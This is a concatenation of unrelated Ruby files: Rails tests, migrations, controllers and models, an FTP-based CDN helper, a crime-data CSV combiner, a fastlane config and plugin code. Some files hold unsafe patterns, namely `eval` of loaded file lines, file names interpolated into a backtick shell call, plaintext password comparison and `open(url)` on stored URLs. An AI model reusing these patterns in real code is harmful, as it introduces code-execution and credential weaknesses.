spec.add_dependency "i18n", ">= 0.6.10", "< 0.9"
spec.add_development_dependency "rake", "~> 12.3.3"
spec.add_development_dependency "rspec", "~> 3.0"
end
|
require 'rails_helper'
RSpec.describe Batch, type: :model do
it 'can be created without attributes' do
batch = Batch.new
expect(batch).to be_valid
end
describe '#status' do
it 'defaults to "new"' do
batch = Batch.new
expect(batch.status).to eq Batch.NEW
end
it 'can be changed to "delivered"' do
batch = Batch.create!
batch.status = Batch.DELIVERED
expect(batch).to be_valid
end
it 'cannot be anything other than "delivered", "acknowledged", or "new"' do
batch = Batch.new status: 'somethingelse'
expect(batch).to have_at_least(1).error_on :status
end
end
describe '#orders' do
it 'is a list of orders included in the batch' do
batch = Batch.new
expect(batch).to have(0).orders
end
end
describe '::batch_orders' do
context 'when unbatched orders are present' do
let (:existing_batch) { FactoryGirl.create(:batch) }
let!(:batched_order) { FactoryGirl.create(:exported_order, batch: existing_batch) }
let!(:o1) { FactoryGirl.create(:submitted_order) }
it 'creates a new batch' do
expect do
Batch.batch_orders
end.to change(Batch, :count).by(1)
end
it 'returns the new batch' do
batch = Batch.batch_orders
expect(batch).not_to be_nil
expect(batch).to be_a Batch
end
it 'adds unbatched orders to the batch' do
batch = Batch.batch_orders
expect(batch.orders.map(&:id)).to contain_exactly o1.id
end
it 'updates the batched orders' do
expect do
Batch.batch_orders
o1.reload
end.to change(o1, :batch_id).from(nil).to(Fixnum)
end
it 'does not change orders already batched' do
expect do
Batch.batch_orders
batched_order.reload
end.not_to change(batched_order, :batch_id)
end
end
context 'when no unbatched orders are present' do
let (:batch) { FactoryGirl.create(:batch) }
let!(:order) { FactoryGirl.create(:order, batch: batch) }
it 'returns nil' do
expect(Batch.batch_orders).to be_nil
end
it 'does not create a batch record' do
expect do
Batch.batch_orders
end.not_to change(Batch, :count)
end
end
end
describe '::by_status' do
let!(:new_batch) { FactoryGirl.create(:new_batch) }
let!(:delivered_batch) { FactoryGirl.create(:delivered_batch) }
it 'returns the batches having the specified status' do
expect(Batch.by_status('new').map(&:id)).to eq [new_batch.id]
end
end
end
|
class AddFieldsToOrders < ActiveRecord::Migration[5.0]
def change
add_column :orders, :product, :string
add_column :orders, :customer_id, :string
end
end
|
require_relative '../test_helper'
class MetadataTest < ActiveSupport::TestCase
test "should create metadata" do
pm = create_project_media
u = create_user
assert_difference "Annotation.where(annotation_type: 'metadata').count" do
create_metadata(annotated: pm, annotator: u)
end
end
test "should set type automatically" do
em = create_metadata
assert_equal 'metadata', em.annotation_type
end
test "should have annotations" do
s1 = create_project_media
assert_equal [], s1.annotations
s2 = create_project_media
assert_equal [], s2.annotations
em1a = create_metadata annotated: nil
assert_nil em1a.annotated
em1b = create_metadata annotated: nil
assert_nil em1b.annotated
em2a = create_metadata annotated: nil
assert_nil em2a.annotated
em2b = create_metadata annotated: nil
assert_nil em2b.annotated
s1.add_annotation em1a
em1b.annotated = s1
em1b.save
s2.add_annotation em2a
em2b.annotated = s2
em2b.save
assert_equal s1, em1a.annotated
assert_equal s1, em1b.annotated
assert_equal [em1a.id, em1b.id].sort, s1.reload.annotations.map(&:id).sort
assert_equal s2, em2a.annotated
assert_equal s2, em2b.annotated
assert_equal [em2a.id, em2b.id].sort, s2.reload.annotations.map(&:id).sort
end
test "should get columns as array" do
assert_kind_of Array, Dynamic.columns
end
test "should get columns as hash" do
assert_kind_of Hash, Dynamic.columns_hash
end
test "should not be abstract" do
assert_not Dynamic.abstract_class?
end
test "should have annotators" do
u1 = create_user
u2 = create_user
u3 = create_user
s1 = create_project_media
s2 = create_project_media
em1 = create_metadata annotator: u1, annotated: s1
em2 = create_metadata annotator: u1, annotated: s1
em3 = create_metadata annotator: u1, annotated: s1
em4 = create_metadata annotator: u2, annotated: s1
em5 = create_metadata annotator: u2, annotated: s1
em6 = create_metadata annotator: u3, annotated: s2
em7 = create_metadata annotator: u3, annotated: s2
assert_equal [u1, u2].sort, s1.annotators.sort
assert_equal [u3].sort, s2.annotators.sort
end
test "should set annotator if not set" do
u1 = create_user
u2 = create_user
t = create_team
create_team_user team: t, user: u2, role: 'admin'
p = create_project team: t
with_current_user_and_team(u2, t) do
em = create_metadata annotated: p, annotator: nil
assert_equal u2, em.reload.annotator
end
end
test "should protect attributes from mass assignment" do
raw_params = { annotation_type: 'metadata', annotated: create_project_media }
params = ActionController::Parameters.new(raw_params)
assert_raise ActiveModel::ForbiddenAttributesError do
Dynamic.create(params)
end
end
test "should not send Slack notification for metadata that is not related to project media" do
l = create_link
em = create_metadata annotated: l
Dynamic.any_instance.stubs(:title_is_overridden?).returns(true)
Dynamic.any_instance.stubs(:overridden_data).returns([{'title' => 'Test'}])
User.stubs(:current).returns(create_user)
assert_nothing_raised do
em.slack_notification_message
end
Dynamic.any_instance.unstub(:title_is_overridden?)
Dynamic.any_instance.unstub(:overridden_data)
User.unstub(:current)
end
test "should get and set fields" do
require File.join(Rails.root, 'app', 'models', 'annotations', 'embed')
m = create_metadata
m = Dynamic.find(m.id)
m.title = 'Foo'
m.save!
m = Dynamic.find(m.id)
m.description = 'Bar'
m.save!
m = Dynamic.find(m.id)
assert_equal 'Foo', m.title
assert_equal 'Bar', m.description
end
end
|
# frozen_string_literal: true
require 'rails_helper'
require 'shared_examples_for_controllers'
RSpec.describe ReservationsController, type: :request do
let(:role) { create(:user_role) }
let(:user) { create(:user, user_role: role) }
let(:screening) { create(:screening, movie: movie, cinema_hall: cinema_hall) }
let(:movie) { create(:movie) }
let(:cinema_hall) { create(:cinema_hall) }
let(:ticket_type) { create(:ticket_type) }
let(:ticket_desk) { create(:ticket_desk) }
describe '#index' do
subject(:get_reservations) { get '/reservations' }
let(:reservation) { create(:reservation) }
context 'when the user is logged in' do
sign_in :user
it 'returns 200 http status' do
get_reservations
expect(response).to have_http_status(:ok)
end
end
include_examples 'unauthorized'
end
describe '#show' do
subject(:get_reservation) { get "/reservations/#{reservation.id}" }
let(:reservation) { create(:reservation) }
context 'when the user is logged in employee' do
let(:role) { create(:user_role, name: 'employee') }
sign_in :user
it 'returns 200 http status' do
get_reservation
expect(response).to have_http_status(:ok)
end
end
context 'when the user is logged in client - owner of the reservation' do
let(:reservation) { create(:reservation, user: user) }
sign_in :user
it 'returns 200 http status' do
get_reservation
expect(response).to have_http_status(:ok)
end
end
include_examples 'unauthorized'
end
describe '#create' do
subject(:create_reservation) do
post '/reservations/online',
params: {
screening_id: screening.id,
tickets_attributes: [
{ ticket_type_id: ticket_type.id },
{ ticket_type_id: ticket_type.id }
],
seats_reservations_attributes: [{ row: 'B', seat_number: 12 }, { row: 'D', seat_number: 5 }]
}
end
context 'when the user is logged in' do
sign_in :user
it 'returns 201 http status' do
create_reservation
expect(response).to have_http_status(:created)
end
it 'works and the count is changed properly' do
expect { create_reservation }.to change(Reservation, :count).by(1)
end
end
include_examples 'unauthorized'
end
describe '#create_offline' do
subject(:create_offline_reservation) do
post '/reservations/offline',
params: {
screening_id: screening.id,
ticket_desk_id: ticket_desk.id,
user_id: user.id,
tickets_attributes: [
{ ticket_type_id: ticket_type.id },
{ ticket_type_id: ticket_type.id }
],
seats_reservations_attributes: [{ row: 'H', seat_number: 12 }, { row: 'H', seat_number: 13 }]
}
end
context 'when the user is logged in' do
let(:role) { create(:user_role, name: 'employee') }
sign_in :user
it 'returns 201 http status' do
create_offline_reservation
expect(response).to have_http_status(:created)
end
it 'works and the count is changed properly' do
expect { create_offline_reservation }.to change(Reservation, :count).by(1)
end
end
context 'when the user is not employee or manager' do
sign_in :user
it 'returns 403 http status' do
create_offline_reservation
expect(response).to have_http_status(:forbidden)
end
end
include_examples 'unauthorized'
end
describe '#update' do
subject(:update_reservation) do
patch "/reservations/#{reservation.id}",
params: { reservation: { status: 'pending' } }
end
let(:reservation) { create(:reservation) }
context 'when the user is logged in as employee' do
let(:role) { create(:user_role, name: 'employee') }
sign_in :user
it 'returns 200 http status' do
update_reservation
expect(response).to have_http_status(:ok)
end
end
context 'when the user is logged in as client (owner of the reservation)' do
let(:reservation) { create(:reservation, user: user) }
sign_in :user
it 'returns 200 http status' do
update_reservation
expect(response).to have_http_status(:ok)
end
end
include_examples 'unauthorized'
end
end
|
require 'rubygems'
require 'data_mapper'
#DataMapper.setup(:default, 'sqlite:///#{Dir.pwd}/db/user.db')
a = DataMapper.setup(:default, "sqlite:db/user.db")
class User
include DataMapper::Resource
property :id, Serial
property :email, String
property :password, String
property :userclass, String
property :tagged, Integer
def self.authenticate(email, password)
u = self.first(:email => email)
u && u.password == password ? u : nil
end
end
|
module CDNLib
# A class to wrap+extend an FTP connection, adding CDN-specific functionality
# and convenience methods
class CDN
require 'net/ftp'
def self.connect(host, user=nil, password=nil)
Net::FTP.open(host) do |ftp_conn|
ftp_conn.extend(FTPExtension)
ftp_conn.login user, password unless user.nil? or password.nil?
yield ftp_conn
end
end
end
#
# TODO: add tests. add tests with a mock ftp connection for methods with side-effects.
# clean up debug statements.
#
# Designed to be extended into a Net::FTP instance to add some high-level
# convenience methods useful for CDN deployments. The extensions are currently
# Akamai-specific, but we could support other CDN flavors in the future if necessary.
#
# Calling cp_r or rm_rf on a deeply-nested directory
# structure is less performant than locally zipping the directory structure,
# marking it to be indexed, and putting it up with ftp.
module FTPExtension
attr_writer :implicitly_index_zip_files, :ignore_subdirs_if_zip_exists
require 'find'
# *putbinaryfile* a local file/directory to a remote spot on the CDN. If options[:overwrite]=true,
# whack the remote path first. If the remote path is a directory, whack the directory and all
# its contents.
#
# local_src_path: should be the path to the local file or directory that you want to copy over
# remote_dest_path: the path where the src will be copied to. NOT the
# parent dir where the src will be copied to --
#
# i.e., cp_r('/path/to/my_dir', 'remote_basedir/parent_of_new_my_dir/my_dir')
# NOT cp_r('/path/to/my_dir', 'remote_basedir/parent_of_new_my_dir')
#
def cp_r(local_src_path, remote_dest_path, options={})
rm_rf remote_dest_path if options[:overwrite]
create_dir_structure(local_src_path, remote_dest_path)
copy_files(local_src_path, remote_dest_path)
end
def directory?(path)
return true if root_dir? path
parent_dir_contents = ls(File.dirname(path))
basename = File.basename(path)
parent_dir_contents.select {|f| f[0..0] == 'd' and f.end_with?(basename)}.size == 1
end
def file?(path)
return false if root_dir? path
parent_dir_contents = ls(File.dirname(path))
basename = File.basename(path)
# directories in a listing start with 'd', files start with '-'
parent_dir_contents.select {|f| f[0..0] == '-' and f.end_with?(basename)}.size == 1
end
# like rm -rf on a filesystem
def rm_rf(remote_path)
ret = if self.file? remote_path
rm_f(remote_path)
elsif directory? remote_path
safe_nlst(remote_path).each {|f| rm_rf(f)}
# puts "GONNA RUN self.rmdir #{remote_path}"
self.rmdir remote_path
true
end
ret
end
### some (all?) ftp servers throw an error if you run nlst on an empty
# directory, even if it exists
def safe_nlst(directory)
begin
self.nlst(directory)
rescue
[]
end
end
# like rm -f on a filesystem
def rm_f(filename)
# puts "GONNA RUN self.delete #{filename}"
if file? filename
self.delete filename
return true
end
return false
end
def implicitly_index_zip_files?
@implicitly_index_zip_files
end
def ignore_subdirs_if_zip_exists?
@ignore_subdirs_if_zip_exists
end
protected
def create_dir_structure(local_src_path, remote_dest_path)
remote_dirs = remote_dirs_to_create(local_src_path, remote_dest_path)
# NOTE: Net::FTP .mkdir does nothing and returns nil if you call mkdir on a dir that already exists
remote_dirs.each {|dir| self.mkdir dir}
#remote_dirs.each {|dir| puts dir}
end
### FIXME: UNIT TEST THIS
def remote_dirs_to_create(local_src_path, remote_dest_path)
dirs = []
Find.find(local_src_path) do |f|
if ignore_subdirs_if_zip_exists? and exists_corresponding_zip?(f)
Find.prune
else
dirs << File.join(remote_dest_path, rel_path(local_src_path, f)) if File.directory? f
end
end
dirs.select {|d| d.size != 0 }.map {|d| normalize_fname(d)}
end
# *putbinaryfile* all regular files from the local src dir to the remote dest dir.
# This will overwrite any files that currently exist with matching paths
def copy_files(local_src_path, remote_dest_path)
files_to_copy(local_src_path, remote_dest_path).each do |local_src_file, remote_dest_file|
rm_f remote_dest_file
self.sendcmd 'site az2z' if local_src_file.end_with? '.zip' and implicitly_index_zip_files?
self.putbinaryfile( local_src_file, remote_dest_file)
#printf("%s -> %s\n", local_src_file, remote_dest_file)
end
end
### FIXME: UNIT TEST THIS
# Return an array of [local_src_file_path, remote_dest_file_path] file pairs.
def files_to_copy(local_src_path, remote_dest_path)
files = []
Find.find(local_src_path) do |f|
if ignore_subdirs_if_zip_exists? and exists_corresponding_zip?(f)
Find.prune
else
files << f if File.file? f
end
end
files.map do |f|
rel_src_file_path = rel_path(local_src_path, f)
[ normalize_fname(File.join(local_src_path, f)), normalize_fname(File.join(remote_dest_path, rel_src_file_path)) ]
end
end
def normalize_fname(filename)
filename.sub(/\/+$/,'')
end
# This could do something really smart like check whether the contents of the
# zip match the subdir contents. For now assume that there is a corresponding
# zip for directory dir if there exists a dir.zip
def exists_corresponding_zip?(dir)
File.directory?(dir) and File.file?(dir+'.zip')
end
def rel_path(src_dir, sub_path)
sub_path.sub!(src_dir,'')
sub_path.sub(/^\/+/,'')
end
# true if path is an absolute or relative root directory?
def root_dir?(path)
['.', '/'].include? File.basename(path)
end
end
end
|
class CreditCard < ActiveRecord::Base
def self.error_message_for_credit_card_owner_invalid
'The name of the credit card owner cannot be longer than 30 characters'
end
def self.error_message_for_invalid_credit_card
'The credit card is invalid'
end
def self.error_message_for_expired_credit_card
'The credit card is expired'
end
validates :owner, length: { maximum: 29 , message: CreditCard.error_message_for_credit_card_owner_invalid}
validates_format_of :number, with: /[0-9]{16}/, message: CreditCard.error_message_for_invalid_credit_card
validate :expiration_date_cannot_be_in_the_past
def expiration_date_cannot_be_in_the_past
errors.add(:expiration_date, CreditCard.error_message_for_expired_credit_card) if expiration_date <= Date.today
end
def expiration
"#{expiration_date.month}#{expiration_date.year}"
end
end
|
require_dependency "keppler_capsules/application_controller"
module KepplerCapsules
module Admin
# CapsulesController
class CapsulesController < ::Admin::AdminController
layout 'keppler_capsules/admin/layouts/application'
before_action :set_capsule, only: %i[show edit update destroy destroy_validation]
before_action :show_history, only: %i[index]
before_action :only_development
before_action :reload_capsules, only: %i[index]
after_action :update_capsules_yml, only: %i[create update destroy destroy_multiple clone]
before_action :reload_capsule_fields, only: %i[index]
after_action :update_capsule_fields_yml, only: %i[create update destroy destroy_multiple clone]
before_action :reload_capsule_validations, only: %i[index]
after_action :update_capsule_validations_yml, only: %i[create update destroy destroy_multiple clone]
before_action :reload_capsule_associations, only: %i[index]
after_action :update_capsule_associations_yml, only: %i[create update destroy destroy_multiple clone]
include KepplerCapsules::Concerns::YmlSave
# GET /capsules
def index
@q = Capsule.ransack(params[:q])
capsules = @q.result(distinct: true)
@objects = capsules.page(@current_page).order(position: :asc)
@total = capsules.size
@capsules = @objects.all
if !@objects.first_page? && @objects.size.zero?
redirect_to capsules_path(page: @current_page.to_i.pred, search: @query)
end
respond_to do |format|
format.html
format.xls { send_data(@capsules.to_xls) }
format.json { render :json => @objects }
end
end
# GET /capsules/1
def show
end
# GET /capsules/new
def new
@capsule = Capsule.new
end
# GET /capsules/1/edit
def edit
end
# POST /capsules
def create
@capsule = Capsule.new(capsule_params)
@capsule.name = @capsule.name.pluralize.downcase
if @capsule.save
@capsule.install
redirect_to edit_admin_capsules_capsule_path(@capsule), notice: actions_messages(@capsule)
else
render :new
end
end
# PATCH/PUT /capsules/1
def update
if @capsule.update(capsule_params)
capsule = capsule_params.to_h
@capsule.new_attributes(@capsule.name, capsule[:capsule_fields_attributes])
@capsule.new_validations(@capsule.name, capsule[:capsule_validations_attributes])
@capsule.new_associations(@capsule.name, capsule[:capsule_associations_attributes])
redirect_to edit_admin_capsules_capsule_path(@capsule), notice: actions_messages(@capsule)
else
render :edit
end
end
def clone
@capsule = Capsule.clone_record params[:capsule_id]
if @capsule.save
redirect_to admin_capsules_capsules_path
else
render :new
end
end
# DELETE /capsules/1
def destroy
@capsule.destroy if @capsule
redirect_to admin_capsules_capsules_path, notice: actions_messages(@capsule)
end
def destroy_multiple
Capsule.destroy redefine_ids(params[:multiple_ids])
redirect_to(
admin_capsules_capsules_path(page: @current_page, search: @query),
notice: actions_messages(Capsule.new)
)
end
def destroy_field
@capsule = Capsule.where(id: params[:capsule_id]).first
@capsule_field = CapsuleField.where(id: params[:capsule_field_id]).first
if @capsule_field
@capsule_field.destroy
@capsule_field.destroy_migrate
@capsule.capsule_validations.each do |v|
if v.field.eql?(@capsule_field.name_field)
v.destroy
v.delete_validation_line
end
end
end
redirect_to edit_admin_capsules_capsule_path(@capsule), notice: actions_messages(@capsule)
end
def destroy_validation
@capsule_validation = CapsuleValidation.where(id: params[:capsule_validation_id]).first
if @capsule_validation
@capsule_validation.destroy
@capsule_validation.delete_validation_line
end
end
def destroy_association
@capsule_association = CapsuleAssociation.where(id: params[:capsule_association_id]).first
if @capsule_association
@capsule_association.destroy
@capsule_association.delete_association_line
end
end
def upload
Capsule.upload(params[:file])
redirect_to(
admin_capsules_path(page: @current_page, search: @query),
notice: actions_messages(Capsule.new)
)
end
def download
@capsules = Capsule.all
respond_to do |format|
format.html
format.xls { send_data(@capsules.to_xls) }
format.json { render json: @capsules }
end
end
def reload
@q = Capsule.ransack(params[:q])
capsules = @q.result(distinct: true)
@objects = capsules.page(@current_page).order(position: :desc)
end
def sort
Capsule.sorter(params[:row])
@q = Capsule.ransack(params[:q])
capsules = @q.result(distinct: true)
@objects = capsules.page(@current_page)
render :index
end
private
def only_development
redirect_to '/admin' if Rails.env.eql?("production")
end
def authorization
authorize Capsule
end
def set_attachments
@attachments = ['logo', 'brand', 'photo', 'avatar', 'cover', 'image',
'picture', 'banner', 'attachment', 'pic', 'file']
end
# Use callbacks to share common setup or constraints between actions.
def set_capsule
@capsule = Capsule.where(id: params[:id]).first
end
# Only allow a trusted parameter "white list" through.
def capsule_params
params.require(:capsule).permit(:name, :position, :deleted_at,
capsule_fields_attributes: capsule_fields_attributes,
capsule_validations_attributes: capsule_validations_attributes,
capsule_associations_attributes: capsule_associations_attributes
)
end
def capsule_fields_attributes
[:id, :name_field, :format_field, :_destroy]
end
def capsule_validations_attributes
[:id, :field, :validation, :name, :_destroy]
end
def capsule_associations_attributes
[:id, :association_type, :capsule_name, :dependention_destroy, :_destroy]
end
def show_history
get_history(Capsule)
end
def get_history(model)
@activities = PublicActivity::Activity.where(
trackable_type: model.to_s
).order('created_at desc').limit(50)
end
end
end
end
|
class SearchController < ApplicationController
skip_before_action :authenticate_request
def index
if params[:keywords].nil? || params[:keywords].blank?
render json: @posts = []
else
@posts = Post.search(params[:keywords])
render json: @posts, status: 200
end
end
end
|
Pod::Spec.new do |spec|
spec.name = 'NoodleKit'
spec.version = '0.0.1'
spec.authors = 'Paul Kim'
spec.summary = "Random collection of Cocoa classes and categories, most of which have been featured on my blog: http://www.noodlesoft.com/blog"
spec.homepage = 'https://github.com/MrNoodle/NoodleKit'
spec.license = 'MIT'
spec.source = { :git => 'https://github.com/Induction/NoodleKit.git',
:commit => '85a3ddbb5b0f7bf117e120a8febb3c1b62192a4e'
}
spec.source_files = '*.{h,m}'
spec.preserve_paths = "English.lproj", "Examples", "NoodleKit.xcodeproj", "Info.plist", "README.md", "version.plist"
end
|
# Takes files in a `data` directory relative to this script with the structure
#
# ```
# data
# ->2019-11
# ->2019-12
# ->2020-01
# ->2020-02
# ->year-month
# ```
#
# Any filenames containing `street` will be appended to `street.csv`
#
# Any filenames containing `outcome` will be appended to `outcome.csv`
#
# Both `street.csv` and `outcome.csv` will be written to the `data` directory
#
# Run with `ruby combine.rb`
months = Dir['data/*']
regions = {}
street_header = 'Crime ID,Month,Reported by,Falls within,Longitude,Latitude,Location,LSOA code,LSOA name,Crime type,Last outcome category,Context'
outcome_header = 'Crime ID,Month,Reported by,Falls within,Longitude,Latitude,Location,LSOA code,LSOA name,Outcome type'
street_file = File.open('data/street.csv', 'w')
outcome_file = File.open('data/outcome.csv', 'w')
street_file.puts street_header
outcome_file.puts outcome_header
months.each do |month|
datasets = Dir["#{month}/*"]
datasets.each do |region|
puts "Appending #{region}"
filename = region.split('-')
filename = filename.slice(3, filename.length).join('-').to_sym
unless regions.include? filename
regions[filename] = File.open("data/#{filename}", 'w')
if filename.to_s.include? 'street'
regions[filename].puts street_header
elsif filename.to_s.include? 'outcome'
regions[filename].puts outcome_header
end
end
content = File.readlines(region).map { |l| l.chomp }
content.shift
content.each do |line|
regions[filename].puts line
end
if filename.to_s.include? 'street'
content.each do |line|
street_file.puts line
end
elsif filename.to_s.include? 'outcome'
content.each do |line|
outcome_file.puts line
end
end
end
end
street_count = 0
outcome_count = 0
total_count = 0
# Display general event stats and close open files
regions.each do |name, file|
region_count = `wc -l data/#{name}`.split.first.to_i
puts "#{name} has #{region_count} incidents"
street_count += region_count if name.to_s.include? 'street'
outcome_count += region_count if name.to_s.include? 'outcome'
total_count += region_count
file.close
end
# Close aggregate files
street_file.close
outcome_file.close
puts "There are #{total_count} incidents across all regions, #{street_count} street events and #{outcome_count} outcome events"
|
Given(/^that I have selected a task and started a time record$/) do
visit "/"
click_button "bigredbutton"
fill_in "task_name", :with=> "New task"
click_button "New task"
@task = Task.last
tr = TimeRecord.last
tr.task.name.should == "New task"
end
When(/^I write a note and save the note$/) do
tr = TimeRecord.last
tr.state.should == "open"
fill_in "note_content", :with => "This is my new note"
click_button "Save note"
end
Then(/^the task has the note$/) do
@task.notes.should inlcudes?(my_note)
end |
# Customize this file, documentation can be found here:
# https://docs.fastlane.tools/actions/
# All available actions: https://docs.fastlane.tools/actions
# can also be listed using the `fastlane actions` command
# Change the syntax highlighting to Ruby
# All lines starting with a # are ignored when running `fastlane`
# If you want to automatically update fastlane if a new version is available:
# update_fastlane
# This is the minimum version number required.
# Update this, if you use features of a newer version
fastlane_version "2.68.0"
default_platform :android
platform :android do
before_all do
# ENV["SLACK_URL"] = "https://hooks.slack.com/services/..."
end
desc "Runs all the tests"
lane :test do
gradle(task: "test")
end
lane :bump_version_code do
path = '../app/build.gradle'
re = /versionCode\s+(\d+)/
s = File.read(path)
versionCode = s[re, 1].to_i
s[re, 1] = (ENV['CI_BUILD_ID'] || (versionCode + 1)).to_s
f = File.new(path, 'w')
f.write(s)
f.close
end
lane :fabric do
# build the release variant
bump_version_code
gradle(task: 'assemble', build_type: 'Release')
# upload to Beta by Crashlytics
crashlytics(
api_token: "CHANGE_ME",
build_secret: "CHANGE_ME"
)
end
lane :build_android do
gradle(task: 'assemble', build_type: 'Release')
end
desc "Deploy a new version to the Google Play"
lane :deploy do
gradle(task: "assembleRelease")
supply
end
lane :icon do
android_appicon(
appicon_image_file: '../icon_android.png',
appicon_icon_types: [:launcher],
appicon_path: 'app/src/main/res/mipmap'
)
android_appicon(
appicon_image_file: '../icon_android.png',
appicon_icon_types: [:notification],
appicon_path: 'app/src/main/res/drawable',
appicon_filename: 'ic_notification'
)
end
# You can define as many lanes as you want
after_all do |lane|
# This block is called, only if the executed lane was successful
# slack(
# message: "Successfully deployed new App Update."
# )
end
error do |lane, exception|
# slack(
# message: exception.message,
# success: false
# )
end
end
# More information about multiple platforms in fastlane: https://docs.fastlane.tools/advanced/#control-configuration-by-lane-and-by-platform
# All available actions: https://docs.fastlane.tools/actions
# fastlane reports which actions are used. No personal data is recorded.
# Learn more at https://docs.fastlane.tools/#metrics
|
class ProductStatsUpdateNamesForRatings < ActiveRecord::Migration
def self.up
rename_column :product_stats, :active_quick_review_count, :active_rating_review_count
end
def self.down
rename_column :product_stats, :active_rating_review_count, :active_quick_review_count
end
end
|
#Brandon Bosso
#Naomi Plasterer
#defines methods to respond to all DSL statement types (e.g., product, activate, packing
#slip and pay would be required for the file in Figure 1)
#these methods cause appropriate rules to be stored in PaymentRules
#require_relative 'paymentRules.rb'
#require_relative 'paymentMain.rb'
#require_relative 'product.rb'
class Products
def self.load_business_rules(filename)
validFunctions = ['product', 'packing_slip', 'pay', 'email', 'activate', 'upgrade', 'add_first_aid']
File.open(filename).each do |line|
if line.to_s.strip.length > 0
parts = line.split(' ')
if validFunctions.include? parts[0]
eval(line)
else
puts "Invalid method: #{parts[0]}"
puts "Aborting..."
return
end
end
end
end
end
def product(text)
PaymentRules.instance.add_product(text)
end
def packing_slip(text)
PaymentRules.instance.currentProduct.add_rule("packing_slip", true, text)
end
def pay(text)
PaymentRules.instance.currentProduct.add_rule("pay", true, text)
end
def email(text)
PaymentRules.instance.currentProduct.add_rule("email", true, text)
end
def activate()
PaymentRules.instance.currentProduct.add_rule("activate", false)
end
def upgrade()
PaymentRules.instance.currentProduct.add_rule("upgrade", false)
end
def add_first_aid()
PaymentRules.instance.currentProduct.add_rule("add_first_aid", false)
end |
require 'nokogiri'
include AttachmentHelper
include PaperclipExtensions
class Post < ActiveRecord::Base
belongs_to :blog
has_many :songs, :dependent => :destroy
has_attachment :image, :s3 => Yetting.s3_enabled, styles: { medium: ['256x256#'], small: ['128x128#'], icon: ['64x64#'] }
validates :url, presence: true, uniqueness: true
acts_as_url :title, :url_attribute => :slug, :allow_duplicates => false
before_create :get_image, :get_content, :set_excerpt
after_create :delayed_save_songs
attr_accessible :title, :url, :blog_id, :author, :content, :published_at, :excerpt
scope :within, lambda { |within| where('posts.published_at >= ?', within.ago) }
rails_admin do
list do
field :id
field :title
field :url
field :blog
end
end
def to_param
slug
end
def set_excerpt
begin
self.excerpt = Sanitize.clean(content).truncate(200)
rescue
logger.error "No excerpt"
self.excerpt = "No content"
end
end
def get_image
logger.info "Getting image"
begin
post = Nokogiri::HTML(content)
img = post.css('img:first')
self.image = UrlTempfile.new(img.first['src']) unless img.empty?
rescue => exception
logger.error exception.message
logger.error exception.backtrace
end
end
def get_content
if !content
open(url) do |f|
self.content = f.read
end
else
content
end
end
def save_songs
logger.info "Saving songs from post #{title}"
parse = Nokogiri::HTML(get_content)
parse.css('a').each do |link|
if link['href'] =~ /soundcloud\.com\/.*\// # /soundcloud\.com\/.*\/|\.mp3(\?(.*))?$/
logger.info "Found song!"
found_song = create_song(link['href'],link.content)
end
end
parse.css('iframe').each do |iframe|
if iframe['src'] =~ /soundcloud\.com.*tracks/ # |youtube.com\/embed/
logger.info "Found music iframe!"
found_song = create_song(iframe['src'], '')
end
end
end
def create_song(url, text)
song = Song.find_by_url(url)
unless song
Song.create(
blog_id: blog_id,
post_id: id,
url: url,
link_text: text,
published_at: created_at
)
end
end
def process_songs
songs.each do |song|
logger.info "Processing song #{song.url}"
song.scan_and_save
end
end
def delayed_save_songs
if Rails.application.config.delay_jobs
delay(:priority => 2).save_songs
else
save_songs
end
end
end
|
# copied from: http://lucatironi.net/tutorial/2015/08/23/rails_api_authentication_warden/?utm_source=rubyweekly&utm_medium=email
require 'rails_helper'
RSpec.describe SessionsController, type: :controller do
let!(:user) { User.create(email: "user@example.com", password: "password") }
let!(:authentication_token) { AuthenticationToken.create(user_id: user.id,
body: "token", last_used_at: DateTime.current) }
let(:valid_attributes) {
{ user: { email: user.email, password: "password" } }
}
let(:invalid_attributes) {
{ user: { email: user.email, password: "not-the-right-password" } }
}
let(:parsed_response) { JSON.parse(response.body) }
def set_auth_headers
request.env["HTTP_X_USER_EMAIL"] = user.email
request.env["HTTP_X_AUTH_TOKEN"] = authentication_token.body
end
before do
allow(TokenIssuer).to receive(:create_and_return_token).and_return(authentication_token.body)
end
describe "POST #create" do
context "with valid credentials" do
before { post :create, valid_attributes, format: :json }
it { expect(response).to be_success }
it { expect(parsed_response).to eq({ "user_email" => user.email, "auth_token" => authentication_token.body }) }
end
context "with invalid credentials" do
before { post :create, invalid_attributes, format: :json }
it { expect(response.status).to eq(401) }
end
context "with missing/invalid params" do
before { post :create, { foo: { bar: "baz" }, format: :json } }
it { expect(response.status).to eq(422) }
end
end
describe "DELETE #destroy" do
context "with valid credentials" do
before do
set_auth_headers
delete :destroy, { format: :json }
end
it { expect(response).to be_success }
end
context "with invalid credentials" do
before { delete :destroy, { format: :json } }
it { expect(response.status).to eq(401) }
end
end
end
|
class WoundsController < ApplicationController
def show
@wound = Wound.find(params[:id])
@statuses = @wound.statuses
respond_to do |format|
format.html
format.json { render json: @wound.statuses }
end
end
def new
@wound = Wound.new
end
def create
@wound = Wound.new(wound_params.merge(patient_id: params[:patient_id]))
if @wound.save
redirect_to @wound
else
render "new"
end
end
def destroy
@wound = Wound.find(params[:id])
@wound.destroy
end
private
def wound_params
params.require(:wound).permit :location, :patient_id
end
end
|
# -*- coding: utf-8 -*-
require 'set'
Plugin.create :smartthread do
counter = gen_counter 1
@timeline_slugs = Set.new # [Symbol]
# messagesの中で、タイムライン _slug_ に入れるべきものがあれば入れる
# ==== Args
# [timeline] タイムライン
# [messages] 入れるMessageの配列
def scan(i_timeline, messages)
SerialThread.new do
messages.each{ |message|
message.each_ancestor { |cur|
if i_timeline.include? cur
i_timeline << message
end
}
}
end
end
command(:smartthread,
name: _('会話スレッドを表示'),
icon: Skin[:list],
condition: lambda{ |opt| not opt.messages.empty? and opt.messages.all? &:repliable? },
visible: true,
role: :timeline){ |opt|
Plugin.call(:open_smartthread, opt.messages)
}
on_open_smartthread do |messages|
serial = counter.call
slug = "conversation#{serial}".to_sym
tab slug, _("会話%{serial_id}") % {serial_id: serial} do
set_deletable true
set_icon Skin[:list]
temporary_tab
timeline slug do
order do |message|
message[:created].to_i end end end
@timeline_slugs << slug
i_timeline = timeline(slug)
i_timeline << messages
Delayer::Deferred.when(*messages.map{|m| around_message(m) }).next{ |around_all|
i_timeline << around_all.flatten
}
timeline(slug).active!
end
onappear do |messages|
@timeline_slugs.map{|s| timeline(s) }.each do |i_timeline|
scan i_timeline, messages
end
end
# 引用ツイートをsmartthreadに含める処理。
# 会話に新しいMessageが登録される時点で、そのMessageの引用ツイートを取得して格納していく
on_gui_timeline_add_messages do |widget, messages|
